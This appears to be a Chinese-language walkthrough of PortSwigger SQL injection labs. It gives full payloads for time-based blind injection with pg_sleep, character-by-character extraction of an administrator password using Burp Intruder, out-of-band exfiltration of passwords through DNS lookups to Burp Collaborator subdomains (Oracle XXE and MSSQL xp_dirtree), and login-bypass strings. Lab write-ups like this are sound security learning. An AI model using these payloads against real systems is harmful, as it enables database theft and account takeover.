选择payloads,payload1设置为1-20
image-20210801161233802
payload2设置为0-9和a-z和A-Z
image-20210801161321982
然后options中添加Grep-Match
image-20210801161401912
开始攻击
image-20210801161459163
将结果整理得到密码
1mwa6880vdcepua8566j
8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator
用户登录。
image-20210801161653485
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。
解决实验室,利用SQL注入漏洞造成10秒延迟。
TrackingId
cookie的请求。TrackingId
cookie,将其更改为:TrackingId=x'||pg_sleep(10)--
image-20210827144143863
forward一下就OK了
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。
数据库包含一个名为 的不同表users
,其列名为username
和password
。您需要利用SQL盲注漏洞找出administrator
用户的密码。
要解决实验室,请以administrator
用户身份登录。
访问店铺首页,使用Burp Suite拦截修改包含TrackingId
cookie的请求。
修改TrackingId
cookie,将其更改为:x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
。验证应用程序需要 10 秒的响应时间。
image-20210903160809574
现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
。验证应用程序是否立即响应,没有时间延迟。这演示了如何测试单个布尔条件并推断结果。
1=1为真,延时10s
image-20210904003940886
1=2为假,不延时
image-20210904004023082
现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
。验证条件是否为真,确认存在名为 的用户administrator
。
image-20210904004201164
下一步是确定administrator
用户的密码中有多少个字符。为此,请将值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
。此条件为真,说明密码长度大于 1 个字符。
image-20210904004634653
发送一系列后续值来测试不同的密码长度。发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
。然后发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即应用程序立即响应而没有时间延迟),您就确定了密码的长度,实际上是 20 个字符长。
image-20210904004832365
确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear”按钮清除默认的有效载荷位置。
在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--
。这使用该SUBSTRING()
函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。sleep时间修改为5s,10太久了,等不起
image-20210904010308843
第一个变量范围1-20
image-20210904005811705
第二个变量范围0-9和a-z和A-Z
image-20210904010005102
设置线程为1,大于1时,延时注入会出问题
image-20210904010043122
开始攻击
勾选Columns的Response received,可以看到响应时间
image-20210904010339493
image-20210904010444168
剩下的交给时间~一共要跑8分钟左右,等待吧
按响应时间排序,选中大于5秒的高亮
image-20210904014754024
仅显示高亮内容
image-20210904014820446
image-20210904014436970
得到密码
klwpbqfvbp89fpro4mcm
在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator
用户登录。
image-20210904014621142
本实验包含一个SQL 盲注漏洞。应用程序使用cookie的TrackingId 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。
为解决实验室问题,利用SQL 注入漏洞对 Burp Collaborator 进行 DNS 查找。
TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://oogz2awwfyduijad55begf63xu3kr9.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
域名使用bp获得
image-20210827163737683
点击copy获取url
image-20210827163756483
020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net
替换到payload
TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
url编码后send
image-20210827163927811
点击poll now刷新信息
image-20210827163953091
image-20210827164015770
确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此输入读取Administrator
用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。这将导致如下所示的 DNS 查找,允许您查看捕获的密码:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外 (OAST) 技术是一种非常强大的检测和利用 SQL 盲注入的方法,因为成功的可能性很高,并且能够直接在带外通道内泄露数据。出于这个原因,即使在其他盲开发技术确实有效的情况下,OAST 技术通常也是可取的。
本实验包含一个SQL 盲注漏洞。应用程序使用 cookie TrackingId进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。
数据库包含一个名为 的不同表users
,其列名为username
和password
。您需要利用SQL盲注漏洞找出administrator
用户的密码。
要解决实验室,请以administrator
用户身份登录。
带外数据泄露的 SQL 盲注入语句
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
查询oracle版本payload
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT version FROM v$instance)||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
查询密码的payload
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
oracle版本
image-20210827165654961
获取密码
image-20210827165329503
得到密码administrator/miasvdbzu5zx47y9rdnh
image-20210827165351856
登录
image-20210827165444744
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。当用户选择一个类别时,应用程序会执行如下 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
为了解决实验室问题,执行 SQL 注入攻击,使应用程序显示任何类别中所有产品的详细信息,包括已发布的和未发布的。
进入实验室
1.使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
2.修改category
参数,赋予其值'+OR+1=1--
或'+OR+'1'--
image-20210731161805914
3.提交请求,并验证响应现在包含其他项目。
image-20210731161818521
本实验包含登录功能中的SQL 注入漏洞。
为了解决实验,执行 SQL 注入攻击,以administrator
用户身份登录到应用程序。
username
参数,赋予其值:administrator'--
或administrator' OR 1=1--
,注意,这里的空格不能由+代替image-20210731162549251
这是我从sql备忘录中抄下来的xmind文档可用于查阅 链接:https://pan.baidu.com/s/1Y0wiiXVl75Q0-nDV2fT5QA 提取码:miss